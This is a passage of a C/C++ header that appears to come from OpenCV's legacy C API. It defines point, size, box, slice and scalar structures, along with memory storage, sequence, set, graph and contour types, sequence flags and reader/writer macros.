template<typename _Tp>
CvPoint2D32f cvPoint2D32f(const cv::Point_<_Tp>& pt)
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvPoint2D32f p = { (float)pt.x, (float)pt.y };
#else
CvPoint2D32f p((float)pt.x, (float)pt.y);
#endif
return p;
}
#endif
/** converts CvPoint to CvPoint2D32f. */
CV_INLINE CvPoint2D32f cvPointTo32f( CvPoint point )
{
return cvPoint2D32f( (float)point.x, (float)point.y );
}
/** converts CvPoint2D32f to CvPoint. */
CV_INLINE CvPoint cvPointFrom32f( CvPoint2D32f point )
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvPoint ipt = { cvRound(point.x), cvRound(point.y) };
#else
CvPoint ipt(cvRound(point.x), cvRound(point.y));
#endif
return ipt;
}
typedef struct CvPoint3D32f
{
float x;
float y;
float z;
#ifdef CV__VALIDATE_UNUNITIALIZED_VARS
CvPoint3D32f() __attribute__(( warning("Non-initialized variable") )) {}
template<typename _Tp> CvPoint3D32f(const std::initializer_list<_Tp> list)
{
CV_Assert(list.size() == 0 || list.size() == 3);
x = y = z = 0;
if (list.size() == 3)
{
x = list.begin()[0]; y = list.begin()[1]; z = list.begin()[2];
}
};
#elif defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvPoint3D32f(float _x = 0, float _y = 0, float _z = 0): x(_x), y(_y), z(_z) {}
template<typename _Tp>
CvPoint3D32f(const cv::Point3_<_Tp>& pt): x((float)pt.x), y((float)pt.y), z((float)pt.z) {}
#endif
#ifdef __cplusplus
template<typename _Tp>
operator cv::Point3_<_Tp>() const { return cv::Point3_<_Tp>(cv::saturate_cast<_Tp>(x), cv::saturate_cast<_Tp>(y), cv::saturate_cast<_Tp>(z)); }
#endif
}
CvPoint3D32f;
/** constructs CvPoint3D32f structure. */
CV_INLINE CvPoint3D32f cvPoint3D32f( double x, double y, double z )
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvPoint3D32f p = { (float)x, (float)y, (float)z };
#else
CvPoint3D32f p((float)x, (float)y, (float)z);
#endif
return p;
}
#ifdef __cplusplus
template<typename _Tp>
CvPoint3D32f cvPoint3D32f(const cv::Point3_<_Tp>& pt)
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvPoint3D32f p = { (float)pt.x, (float)pt.y, (float)pt.z };
#else
CvPoint3D32f p((float)pt.x, (float)pt.y, (float)pt.z);
#endif
return p;
}
#endif
typedef struct CvPoint2D64f
{
double x;
double y;
#ifdef CV__VALIDATE_UNUNITIALIZED_VARS
CvPoint2D64f() __attribute__(( warning("Non-initialized variable") )) {}
template<typename _Tp> CvPoint2D64f(const std::initializer_list<_Tp> list)
{
CV_Assert(list.size() == 0 || list.size() == 2);
x = y = 0;
if (list.size() == 2)
{
x = list.begin()[0]; y = list.begin()[1];
}
};
#endif
}
CvPoint2D64f;
/** constructs CvPoint2D64f structure.*/
CV_INLINE CvPoint2D64f cvPoint2D64f( double x, double y )
{
CvPoint2D64f p = { x, y };
return p;
}
typedef struct CvPoint3D64f
{
double x;
double y;
double z;
#ifdef CV__VALIDATE_UNUNITIALIZED_VARS
CvPoint3D64f() __attribute__(( warning("Non-initialized variable") )) {}
template<typename _Tp> CvPoint3D64f(const std::initializer_list<_Tp> list)
{
CV_Assert(list.size() == 0 || list.size() == 3);
x = y = z = 0;
if (list.size() == 3)
{
x = list.begin()[0]; y = list.begin()[1]; z = list.begin()[2];
}
};
#endif
}
CvPoint3D64f;
/** constructs CvPoint3D64f structure. */
CV_INLINE CvPoint3D64f cvPoint3D64f( double x, double y, double z )
{
CvPoint3D64f p = { x, y, z };
return p;
}
/******************************** CvSize's & CvBox **************************************/
typedef struct CvSize
{
int width;
int height;
#ifdef CV__VALIDATE_UNUNITIALIZED_VARS
CvSize() __attribute__(( warning("Non-initialized variable") )) {}
template<typename _Tp> CvSize(const std::initializer_list<_Tp> list)
{
CV_Assert(list.size() == 0 || list.size() == 2);
width = 0; height = 0;
if (list.size() == 2)
{
width = list.begin()[0]; height = list.begin()[1];
}
};
#elif defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvSize(int w = 0, int h = 0): width(w), height(h) {}
template<typename _Tp>
CvSize(const cv::Size_<_Tp>& sz): width(cv::saturate_cast<int>(sz.width)), height(cv::saturate_cast<int>(sz.height)) {}
#endif
#ifdef __cplusplus
template<typename _Tp>
operator cv::Size_<_Tp>() const { return cv::Size_<_Tp>(cv::saturate_cast<_Tp>(width), cv::saturate_cast<_Tp>(height)); }
#endif
}
CvSize;
/** constructs CvSize structure. */
CV_INLINE CvSize cvSize( int width, int height )
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvSize s = { width, height };
#else
CvSize s(width, height);
#endif
return s;
}
#ifdef __cplusplus
CV_INLINE CvSize cvSize(const cv::Size& sz)
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvSize s = { sz.width, sz.height };
#else
CvSize s(sz.width, sz.height);
#endif
return s;
}
#endif
typedef struct CvSize2D32f
{
float width;
float height;
#ifdef CV__VALIDATE_UNUNITIALIZED_VARS
CvSize2D32f() __attribute__(( warning("Non-initialized variable") )) {}
template<typename _Tp> CvSize2D32f(const std::initializer_list<_Tp> list)
{
CV_Assert(list.size() == 0 || list.size() == 2);
width = 0; height = 0;
if (list.size() == 2)
{
width = list.begin()[0]; height = list.begin()[1];
}
};
#elif defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvSize2D32f(float w = 0, float h = 0): width(w), height(h) {}
template<typename _Tp>
CvSize2D32f(const cv::Size_<_Tp>& sz): width(cv::saturate_cast<float>(sz.width)), height(cv::saturate_cast<float>(sz.height)) {}
#endif
#ifdef __cplusplus
template<typename _Tp>
operator cv::Size_<_Tp>() const { return cv::Size_<_Tp>(cv::saturate_cast<_Tp>(width), cv::saturate_cast<_Tp>(height)); }
#endif
}
CvSize2D32f;
/** constructs CvSize2D32f structure. */
CV_INLINE CvSize2D32f cvSize2D32f( double width, double height )
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvSize2D32f s = { (float)width, (float)height };
#else
CvSize2D32f s((float)width, (float)height);
#endif
return s;
}
#ifdef __cplusplus
template<typename _Tp>
CvSize2D32f cvSize2D32f(const cv::Size_<_Tp>& sz)
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvSize2D32f s = { (float)sz.width, (float)sz.height };
#else
CvSize2D32f s((float)sz.width, (float)sz.height);
#endif
return s;
}
#endif
/** @sa RotatedRect
*/
typedef struct CvBox2D
{
CvPoint2D32f center; /**< Center of the box. */
CvSize2D32f size; /**< Box width and length. */
float angle; /**< Angle between the horizontal axis */
/**< and the first side (i.e. length) in degrees */
#if defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvBox2D(CvPoint2D32f c = CvPoint2D32f(), CvSize2D32f s = CvSize2D32f(), float a = 0) : center(c), size(s), angle(a) {}
CvBox2D(const cv::RotatedRect& rr) : center(rr.center), size(rr.size), angle(rr.angle) {}
#endif
#ifdef __cplusplus
operator cv::RotatedRect() const { return cv::RotatedRect(center, size, angle); }
#endif
}
CvBox2D;
#ifdef __cplusplus
CV_INLINE CvBox2D cvBox2D(CvPoint2D32f c = CvPoint2D32f(), CvSize2D32f s = CvSize2D32f(), float a = 0)
{
CvBox2D self;
self.center = c;
self.size = s;
self.angle = a;
return self;
}
CV_INLINE CvBox2D cvBox2D(const cv::RotatedRect& rr)
{
CvBox2D self;
self.center = cvPoint2D32f(rr.center);
self.size = cvSize2D32f(rr.size);
self.angle = rr.angle;
return self;
}
#endif
/** Line iterator state: */
typedef struct CvLineIterator
{
/** Pointer to the current point: */
uchar* ptr;
/* Bresenham algorithm state: */
int err;
int plus_delta;
int minus_delta;
int plus_step;
int minus_step;
}
CvLineIterator;
/************************************* CvSlice ******************************************/
#define CV_WHOLE_SEQ_END_INDEX 0x3fffffff
#define CV_WHOLE_SEQ cvSlice(0, CV_WHOLE_SEQ_END_INDEX)
typedef struct CvSlice
{
int start_index, end_index;
#ifdef CV__VALIDATE_UNUNITIALIZED_VARS
CvSlice() __attribute__(( warning("Non-initialized variable") )) {}
template<typename _Tp> CvSlice(const std::initializer_list<_Tp> list)
{
CV_Assert(list.size() == 0 || list.size() == 2);
start_index = end_index = 0;
if (list.size() == 2)
{
start_index = list.begin()[0]; end_index = list.begin()[1];
}
};
#endif
#if defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus) && !defined(__CUDACC__)
CvSlice(int start = 0, int end = 0) : start_index(start), end_index(end) {}
CvSlice(const cv::Range& r) { *this = (r.start != INT_MIN && r.end != INT_MAX) ? CvSlice(r.start, r.end) : CvSlice(0, CV_WHOLE_SEQ_END_INDEX); }
operator cv::Range() const { return (start_index == 0 && end_index == CV_WHOLE_SEQ_END_INDEX ) ? cv::Range::all() : cv::Range(start_index, end_index); }
#endif
}
CvSlice;
CV_INLINE CvSlice cvSlice( int start, int end )
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus) && !defined(__CUDACC__))
CvSlice slice = { start, end };
#else
CvSlice slice(start, end);
#endif
return slice;
}
#if defined(__cplusplus)
CV_INLINE CvSlice cvSlice(const cv::Range& r)
{
CvSlice slice = (r.start != INT_MIN && r.end != INT_MAX) ? cvSlice(r.start, r.end) : cvSlice(0, CV_WHOLE_SEQ_END_INDEX);
return slice;
}
#endif
/************************************* CvScalar *****************************************/
/** @sa Scalar_
*/
typedef struct CvScalar
{
double val[4];
#ifdef CV__VALIDATE_UNUNITIALIZED_VARS
CvScalar() __attribute__(( warning("Non-initialized variable") )) {}
CvScalar(const std::initializer_list<double> list)
{
CV_Assert(list.size() == 0 || list.size() == 4);
val[0] = val[1] = val[2] = val[3] = 0;
if (list.size() == 4)
{
val[0] = list.begin()[0]; val[1] = list.begin()[1]; val[2] = list.begin()[2]; val[3] = list.begin()[3];
}
};
#elif defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvScalar() {}
CvScalar(double d0, double d1 = 0, double d2 = 0, double d3 = 0) { val[0] = d0; val[1] = d1; val[2] = d2; val[3] = d3; }
template<typename _Tp>
CvScalar(const cv::Scalar_<_Tp>& s) { val[0] = s.val[0]; val[1] = s.val[1]; val[2] = s.val[2]; val[3] = s.val[3]; }
template<typename _Tp, int cn>
CvScalar(const cv::Vec<_Tp, cn>& v)
{
int i;
for( i = 0; i < (cn < 4 ? cn : 4); i++ ) val[i] = v.val[i];
for( ; i < 4; i++ ) val[i] = 0;
}
#endif
#ifdef __cplusplus
template<typename _Tp>
operator cv::Scalar_<_Tp>() const { return cv::Scalar_<_Tp>(cv::saturate_cast<_Tp>(val[0]), cv::saturate_cast<_Tp>(val[1]), cv::saturate_cast<_Tp>(val[2]), cv::saturate_cast<_Tp>(val[3])); }
#endif
}
CvScalar;
CV_INLINE CvScalar cvScalar( double val0, double val1 CV_DEFAULT(0),
double val2 CV_DEFAULT(0), double val3 CV_DEFAULT(0))
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvScalar scalar = CV_STRUCT_INITIALIZER;
#else
CvScalar scalar;
#endif
scalar.val[0] = val0; scalar.val[1] = val1;
scalar.val[2] = val2; scalar.val[3] = val3;
return scalar;
}
#ifdef __cplusplus
CV_INLINE CvScalar cvScalar()
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvScalar scalar = CV_STRUCT_INITIALIZER;
#else
CvScalar scalar;
#endif
scalar.val[0] = scalar.val[1] = scalar.val[2] = scalar.val[3] = 0;
return scalar;
}
CV_INLINE CvScalar cvScalar(const cv::Scalar& s)
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvScalar scalar = CV_STRUCT_INITIALIZER;
#else
CvScalar scalar;
#endif
scalar.val[0] = s.val[0];
scalar.val[1] = s.val[1];
scalar.val[2] = s.val[2];
scalar.val[3] = s.val[3];
return scalar;
}
#endif
CV_INLINE CvScalar cvRealScalar( double val0 )
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvScalar scalar = CV_STRUCT_INITIALIZER;
#else
CvScalar scalar;
#endif
scalar.val[0] = val0;
scalar.val[1] = scalar.val[2] = scalar.val[3] = 0;
return scalar;
}
CV_INLINE CvScalar cvScalarAll( double val0123 )
{
#if !(defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus))
CvScalar scalar = CV_STRUCT_INITIALIZER;
#else
CvScalar scalar;
#endif
scalar.val[0] = val0123;
scalar.val[1] = val0123;
scalar.val[2] = val0123;
scalar.val[3] = val0123;
return scalar;
}
/****************************************************************************************\
* Dynamic Data structures *
\****************************************************************************************/
/******************************** Memory storage ****************************************/
typedef struct CvMemBlock
{
struct CvMemBlock* prev;
struct CvMemBlock* next;
}
CvMemBlock;
#define CV_STORAGE_MAGIC_VAL 0x42890000
typedef struct CvMemStorage
{
int signature;
CvMemBlock* bottom; /**< First allocated block. */
CvMemBlock* top; /**< Current memory block - top of the stack. */
struct CvMemStorage* parent; /**< We get new blocks from parent as needed. */
int block_size; /**< Block size. */
int free_space; /**< Remaining free space in current block. */
}
CvMemStorage;
#define CV_IS_STORAGE(storage) \
((storage) != NULL && \
(((CvMemStorage*)(storage))->signature & CV_MAGIC_MASK) == CV_STORAGE_MAGIC_VAL)
typedef struct CvMemStoragePos
{
CvMemBlock* top;
int free_space;
}
CvMemStoragePos;
/*********************************** Sequence *******************************************/
typedef struct CvSeqBlock
{
struct CvSeqBlock* prev; /**< Previous sequence block. */
struct CvSeqBlock* next; /**< Next sequence block. */
int start_index; /**< Index of the first element in the block + */
/**< sequence->first->start_index. */
int count; /**< Number of elements in the block. */
schar* data; /**< Pointer to the first element of the block. */
}
CvSeqBlock;
#define CV_TREE_NODE_FIELDS(node_type) \
int flags; /**< Miscellaneous flags. */ \
int header_size; /**< Size of sequence header. */ \
struct node_type* h_prev; /**< Previous sequence. */ \
struct node_type* h_next; /**< Next sequence. */ \
struct node_type* v_prev; /**< 2nd previous sequence. */ \
struct node_type* v_next /**< 2nd next sequence. */
/**
Read/Write sequence.
Elements can be dynamically inserted to or deleted from the sequence.
*/
#define CV_SEQUENCE_FIELDS() \
CV_TREE_NODE_FIELDS(CvSeq); \
int total; /**< Total number of elements. */ \
int elem_size; /**< Size of sequence element in bytes. */ \
schar* block_max; /**< Maximal bound of the last block. */ \
schar* ptr; /**< Current write pointer. */ \
int delta_elems; /**< Grow seq this many at a time. */ \
CvMemStorage* storage; /**< Where the seq is stored. */ \
CvSeqBlock* free_blocks; /**< Free blocks list. */ \
CvSeqBlock* first; /**< Pointer to the first sequence block. */
typedef struct CvSeq
{
CV_SEQUENCE_FIELDS()
}
CvSeq;
#define CV_TYPE_NAME_SEQ "opencv-sequence"
#define CV_TYPE_NAME_SEQ_TREE "opencv-sequence-tree"
/*************************************** Set ********************************************/
/** @brief Set
Order is not preserved. There can be gaps between sequence elements.
After the element has been inserted it stays in the same place all the time.
The MSB(most-significant or sign bit) of the first field (flags) is 0 iff the element exists.
*/
#define CV_SET_ELEM_FIELDS(elem_type) \
int flags; \
struct elem_type* next_free;
typedef struct CvSetElem
{
CV_SET_ELEM_FIELDS(CvSetElem)
}
CvSetElem;
#define CV_SET_FIELDS() \
CV_SEQUENCE_FIELDS() \
CvSetElem* free_elems; \
int active_count;
typedef struct CvSet
{
CV_SET_FIELDS()
}
CvSet;
#define CV_SET_ELEM_IDX_MASK ((1 << 26) - 1)
#define CV_SET_ELEM_FREE_FLAG (1 << (sizeof(int)*8-1))
/** Checks whether the element pointed by ptr belongs to a set or not */
#define CV_IS_SET_ELEM( ptr ) (((CvSetElem*)(ptr))->flags >= 0)
/************************************* Graph ********************************************/
/** @name Graph
We represent a graph as a set of vertices. Vertices contain their adjacency lists (more exactly,
pointers to first incoming or outcoming edge (or 0 if isolated vertex)). Edges are stored in
another set. There is a singly-linked list of incoming/outcoming edges for each vertex.
Each edge consists of:
- Two pointers to the starting and ending vertices (vtx[0] and vtx[1] respectively).
A graph may be oriented or not. In the latter case, edges between vertex i to vertex j are not
distinguished during search operations.
- Two pointers to next edges for the starting and ending vertices, where next[0] points to the
next edge in the vtx[0] adjacency list and next[1] points to the next edge in the vtx[1]
adjacency list.
@see CvGraphEdge, CvGraphVtx, CvGraphVtx2D, CvGraph
@{
*/
#define CV_GRAPH_EDGE_FIELDS() \
int flags; \
float weight; \
struct CvGraphEdge* next[2]; \
struct CvGraphVtx* vtx[2];
#define CV_GRAPH_VERTEX_FIELDS() \
int flags; \
struct CvGraphEdge* first;
typedef struct CvGraphEdge
{
CV_GRAPH_EDGE_FIELDS()
}
CvGraphEdge;
typedef struct CvGraphVtx
{
CV_GRAPH_VERTEX_FIELDS()
}
CvGraphVtx;
typedef struct CvGraphVtx2D
{
CV_GRAPH_VERTEX_FIELDS()
CvPoint2D32f* ptr;
}
CvGraphVtx2D;
/**
Graph is "derived" from the set (this is set a of vertices)
and includes another set (edges)
*/
#define CV_GRAPH_FIELDS() \
CV_SET_FIELDS() \
CvSet* edges;
typedef struct CvGraph
{
CV_GRAPH_FIELDS()
}
CvGraph;
#define CV_TYPE_NAME_GRAPH "opencv-graph"
/** @} */
/*********************************** Chain/Contour *************************************/
typedef struct CvChain
{
CV_SEQUENCE_FIELDS()
CvPoint origin;
}
CvChain;
#define CV_CONTOUR_FIELDS() \
CV_SEQUENCE_FIELDS() \
CvRect rect; \
int color; \
int reserved[3];
typedef struct CvContour
{
CV_CONTOUR_FIELDS()
}
CvContour;
typedef CvContour CvPoint2DSeq;
/****************************************************************************************\
* Sequence types *
\****************************************************************************************/
#define CV_SEQ_MAGIC_VAL 0x42990000
#define CV_IS_SEQ(seq) \
((seq) != NULL && (((CvSeq*)(seq))->flags & CV_MAGIC_MASK) == CV_SEQ_MAGIC_VAL)
#define CV_SET_MAGIC_VAL 0x42980000
#define CV_IS_SET(set) \
((set) != NULL && (((CvSeq*)(set))->flags & CV_MAGIC_MASK) == CV_SET_MAGIC_VAL)
#define CV_SEQ_ELTYPE_BITS 12
#define CV_SEQ_ELTYPE_MASK ((1 << CV_SEQ_ELTYPE_BITS) - 1)
#define CV_SEQ_ELTYPE_POINT CV_32SC2 /**< (x,y) */
#define CV_SEQ_ELTYPE_CODE CV_8UC1 /**< freeman code: 0..7 */
#define CV_SEQ_ELTYPE_GENERIC 0
#define CV_SEQ_ELTYPE_PTR CV_MAKE_TYPE(CV_8U, 8 /*sizeof(void*)*/)
#define CV_SEQ_ELTYPE_PPOINT CV_SEQ_ELTYPE_PTR /**< &(x,y) */
#define CV_SEQ_ELTYPE_INDEX CV_32SC1 /**< #(x,y) */
#define CV_SEQ_ELTYPE_GRAPH_EDGE 0 /**< &next_o, &next_d, &vtx_o, &vtx_d */
#define CV_SEQ_ELTYPE_GRAPH_VERTEX 0 /**< first_edge, &(x,y) */
#define CV_SEQ_ELTYPE_TRIAN_ATR 0 /**< vertex of the binary tree */
#define CV_SEQ_ELTYPE_CONNECTED_COMP 0 /**< connected component */
#define CV_SEQ_ELTYPE_POINT3D CV_32FC3 /**< (x,y,z) */
#define CV_SEQ_KIND_BITS 2
#define CV_SEQ_KIND_MASK (((1 << CV_SEQ_KIND_BITS) - 1)<<CV_SEQ_ELTYPE_BITS)
/** types of sequences */
#define CV_SEQ_KIND_GENERIC (0 << CV_SEQ_ELTYPE_BITS)
#define CV_SEQ_KIND_CURVE (1 << CV_SEQ_ELTYPE_BITS)
#define CV_SEQ_KIND_BIN_TREE (2 << CV_SEQ_ELTYPE_BITS)
/** types of sparse sequences (sets) */
#define CV_SEQ_KIND_GRAPH (1 << CV_SEQ_ELTYPE_BITS)
#define CV_SEQ_KIND_SUBDIV2D (2 << CV_SEQ_ELTYPE_BITS)
#define CV_SEQ_FLAG_SHIFT (CV_SEQ_KIND_BITS + CV_SEQ_ELTYPE_BITS)
/** flags for curves */
#define CV_SEQ_FLAG_CLOSED (1 << CV_SEQ_FLAG_SHIFT)
#define CV_SEQ_FLAG_SIMPLE (0 << CV_SEQ_FLAG_SHIFT)
#define CV_SEQ_FLAG_CONVEX (0 << CV_SEQ_FLAG_SHIFT)
#define CV_SEQ_FLAG_HOLE (2 << CV_SEQ_FLAG_SHIFT)
/** flags for graphs */
#define CV_GRAPH_FLAG_ORIENTED (1 << CV_SEQ_FLAG_SHIFT)
#define CV_GRAPH CV_SEQ_KIND_GRAPH
#define CV_ORIENTED_GRAPH (CV_SEQ_KIND_GRAPH|CV_GRAPH_FLAG_ORIENTED)
/** point sets */
#define CV_SEQ_POINT_SET (CV_SEQ_KIND_GENERIC| CV_SEQ_ELTYPE_POINT)
#define CV_SEQ_POINT3D_SET (CV_SEQ_KIND_GENERIC| CV_SEQ_ELTYPE_POINT3D)
#define CV_SEQ_POLYLINE (CV_SEQ_KIND_CURVE | CV_SEQ_ELTYPE_POINT)
#define CV_SEQ_POLYGON (CV_SEQ_FLAG_CLOSED | CV_SEQ_POLYLINE )
#define CV_SEQ_CONTOUR CV_SEQ_POLYGON
#define CV_SEQ_SIMPLE_POLYGON (CV_SEQ_FLAG_SIMPLE | CV_SEQ_POLYGON )
/** chain-coded curves */
#define CV_SEQ_CHAIN (CV_SEQ_KIND_CURVE | CV_SEQ_ELTYPE_CODE)
#define CV_SEQ_CHAIN_CONTOUR (CV_SEQ_FLAG_CLOSED | CV_SEQ_CHAIN)
/** binary tree for the contour */
#define CV_SEQ_POLYGON_TREE (CV_SEQ_KIND_BIN_TREE | CV_SEQ_ELTYPE_TRIAN_ATR)
/** sequence of the connected components */
#define CV_SEQ_CONNECTED_COMP (CV_SEQ_KIND_GENERIC | CV_SEQ_ELTYPE_CONNECTED_COMP)
/** sequence of the integer numbers */
#define CV_SEQ_INDEX (CV_SEQ_KIND_GENERIC | CV_SEQ_ELTYPE_INDEX)
#define CV_SEQ_ELTYPE( seq ) ((seq)->flags & CV_SEQ_ELTYPE_MASK)
#define CV_SEQ_KIND( seq ) ((seq)->flags & CV_SEQ_KIND_MASK )
/** flag checking */
#define CV_IS_SEQ_INDEX( seq ) ((CV_SEQ_ELTYPE(seq) == CV_SEQ_ELTYPE_INDEX) && \
(CV_SEQ_KIND(seq) == CV_SEQ_KIND_GENERIC))
#define CV_IS_SEQ_CURVE( seq ) (CV_SEQ_KIND(seq) == CV_SEQ_KIND_CURVE)
#define CV_IS_SEQ_CLOSED( seq ) (((seq)->flags & CV_SEQ_FLAG_CLOSED) != 0)
#define CV_IS_SEQ_CONVEX( seq ) 0
#define CV_IS_SEQ_HOLE( seq ) (((seq)->flags & CV_SEQ_FLAG_HOLE) != 0)
#define CV_IS_SEQ_SIMPLE( seq ) 1
/** type checking macros */
#define CV_IS_SEQ_POINT_SET( seq ) \
((CV_SEQ_ELTYPE(seq) == CV_32SC2 || CV_SEQ_ELTYPE(seq) == CV_32FC2))
#define CV_IS_SEQ_POINT_SUBSET( seq ) \
(CV_IS_SEQ_INDEX( seq ) || CV_SEQ_ELTYPE(seq) == CV_SEQ_ELTYPE_PPOINT)
#define CV_IS_SEQ_POLYLINE( seq ) \
(CV_SEQ_KIND(seq) == CV_SEQ_KIND_CURVE && CV_IS_SEQ_POINT_SET(seq))
#define CV_IS_SEQ_POLYGON( seq ) \
(CV_IS_SEQ_POLYLINE(seq) && CV_IS_SEQ_CLOSED(seq))
#define CV_IS_SEQ_CHAIN( seq ) \
(CV_SEQ_KIND(seq) == CV_SEQ_KIND_CURVE && (seq)->elem_size == 1)
#define CV_IS_SEQ_CONTOUR( seq ) \
(CV_IS_SEQ_CLOSED(seq) && (CV_IS_SEQ_POLYLINE(seq) || CV_IS_SEQ_CHAIN(seq)))
#define CV_IS_SEQ_CHAIN_CONTOUR( seq ) \
(CV_IS_SEQ_CHAIN( seq ) && CV_IS_SEQ_CLOSED( seq ))
#define CV_IS_SEQ_POLYGON_TREE( seq ) \
(CV_SEQ_ELTYPE (seq) == CV_SEQ_ELTYPE_TRIAN_ATR && \
CV_SEQ_KIND( seq ) == CV_SEQ_KIND_BIN_TREE )
#define CV_IS_GRAPH( seq ) \
(CV_IS_SET(seq) && CV_SEQ_KIND((CvSet*)(seq)) == CV_SEQ_KIND_GRAPH)
#define CV_IS_GRAPH_ORIENTED( seq ) \
(((seq)->flags & CV_GRAPH_FLAG_ORIENTED) != 0)
#define CV_IS_SUBDIV2D( seq ) \
(CV_IS_SET(seq) && CV_SEQ_KIND((CvSet*)(seq)) == CV_SEQ_KIND_SUBDIV2D)
/****************************************************************************************/
/* Sequence writer & reader */
/****************************************************************************************/
#define CV_SEQ_WRITER_FIELDS() \
int header_size; \
CvSeq* seq; /**< the sequence written */ \
CvSeqBlock* block; /**< current block */ \
schar* ptr; /**< pointer to free space */ \
schar* block_min; /**< pointer to the beginning of block*/\
schar* block_max; /**< pointer to the end of block */
typedef struct CvSeqWriter
{
CV_SEQ_WRITER_FIELDS()
}
CvSeqWriter;
#define CV_SEQ_READER_FIELDS() \
int header_size; \
CvSeq* seq; /**< sequence, beign read */ \
CvSeqBlock* block; /**< current block */ \
schar* ptr; /**< pointer to element be read next */ \
schar* block_min; /**< pointer to the beginning of block */\
schar* block_max; /**< pointer to the end of block */ \
int delta_index;/**< = seq->first->start_index */ \
schar* prev_elem; /**< pointer to previous element */
typedef struct CvSeqReader
{
CV_SEQ_READER_FIELDS()
}
CvSeqReader;
/****************************************************************************************/
/* Operations on sequences */
/****************************************************************************************/
#define CV_SEQ_ELEM( seq, elem_type, index ) \
/** assert gives some guarantee that <seq> parameter is valid */ \
( assert(sizeof((seq)->first[0]) == sizeof(CvSeqBlock) && \
(seq)->elem_size == sizeof(elem_type)), \
(elem_type*)((seq)->first && (unsigned)index < \
(unsigned)((seq)->first->count) ? \
(seq)->first->data + (index) * sizeof(elem_type) : \
cvGetSeqElem( (CvSeq*)(seq), (index) )))
#define CV_GET_SEQ_ELEM( elem_type, seq, index ) CV_SEQ_ELEM( (seq), elem_type, (index) )
/** Add element to sequence: */
#define CV_WRITE_SEQ_ELEM_VAR( elem_ptr, writer ) \
{ \
if( (writer).ptr >= (writer).block_max ) \
{ \
cvCreateSeqBlock( &writer); \
} \
memcpy((writer).ptr, elem_ptr, (writer).seq->elem_size);\
(writer).ptr += (writer).seq->elem_size; \
}
#define CV_WRITE_SEQ_ELEM( elem, writer ) \
{ \
assert( (writer).seq->elem_size == sizeof(elem)); \
if( (writer).ptr >= (writer).block_max ) \
{ \
cvCreateSeqBlock( &writer); \
} \
assert( (writer).ptr <= (writer).block_max - sizeof(elem));\
memcpy((writer).ptr, &(elem), sizeof(elem)); \
(writer).ptr += sizeof(elem); \
}
/** Move reader position forward: */
#define CV_NEXT_SEQ_ELEM( elem_size, reader ) \
{ \
if( ((reader).ptr += (elem_size)) >= (reader).block_max ) \
{ \
cvChangeSeqBlock( &(reader), 1 ); \
} \
}
/** Move reader position backward: */
#define CV_PREV_SEQ_ELEM( elem_size, reader ) \
{ \
if( ((reader).ptr -= (elem_size)) < (reader).block_min ) \
{ \
cvChangeSeqBlock( &(reader), -1 ); \
} \
}
/** Read element and move read position forward: */
#define CV_READ_SEQ_ELEM( elem, reader ) \
{ \
assert( (reader).seq->elem_size == sizeof(elem)); \
memcpy( &(elem), (reader).ptr, sizeof((elem))); \
CV_NEXT_SEQ_ELEM( sizeof(elem), reader ) \
}
/** Read element and move read position backward: */
#define CV_REV_READ_SEQ_ELEM( elem, reader ) \
{ \
assert( (reader).seq->elem_size == sizeof(elem)); \
memcpy(&(elem), (reader).ptr, sizeof((elem))); \
CV_PREV_SEQ_ELEM( sizeof(elem), reader ) \
}
#define CV_READ_CHAIN_POINT( _pt, reader ) \
{ \
(_pt) = (reader).pt; \
if( (reader).ptr ) \
{ \
CV_READ_SEQ_ELEM( (reader).code, (reader)); \
assert( ((reader).code & ~7) == 0 ); \
(reader).pt.x += (reader).deltas[(int)(reader).code][0]; \
(reader).pt.y += (reader).deltas[(int)(reader).code][1]; \
} \
}
#define CV_CURRENT_POINT( reader ) (*((CvPoint*)((reader).ptr)))
#define CV_PREV_POINT( reader ) (*((CvPoint*)((reader).prev_elem)))
#define CV_READ_EDGE( pt1, pt2, reader ) \
{ \
assert( sizeof(pt1) == sizeof(CvPoint) && \
sizeof(pt2) == sizeof(CvPoint) && \
reader.seq->elem_size == sizeof(CvPoint)); \
(pt1) = CV_PREV_POINT( reader ); \
(pt2) = CV_CURRENT_POINT( reader ); \
(reader).prev_elem = (reader).ptr; \
CV_NEXT_SEQ_ELEM( sizeof(CvPoint), (reader)); \
}
/************ Graph macros ************/
/** Return next graph edge for given vertex: */
#define CV_NEXT_GRAPH_EDGE( edge, vertex ) \
(assert((edge)->vtx[0] == (vertex) || (edge)->vtx[1] == (vertex)), \
(edge)->next[(edge)->vtx[1] == (vertex)])
/****************************************************************************************\
* Data structures for persistence (a.k.a serialization) functionality *
\****************************************************************************************/
#if 0
/** "black box" file storage */
typedef struct CvFileStorage CvFileStorage;
/** Storage flags: */
#define CV_STORAGE_READ 0
#define CV_STORAGE_WRITE 1
#define CV_STORAGE_WRITE_TEXT CV_STORAGE_WRITE
#define CV_STORAGE_WRITE_BINARY CV_STORAGE_WRITE
#define CV_STORAGE_APPEND 2
#define CV_STORAGE_MEMORY 4
#define CV_STORAGE_FORMAT_MASK (7<<3)
#define CV_STORAGE_FORMAT_AUTO 0
#define CV_STORAGE_FORMAT_XML 8
#define CV_STORAGE_FORMAT_YAML 16
#define CV_STORAGE_FORMAT_JSON 24
#define CV_STORAGE_BASE64 64
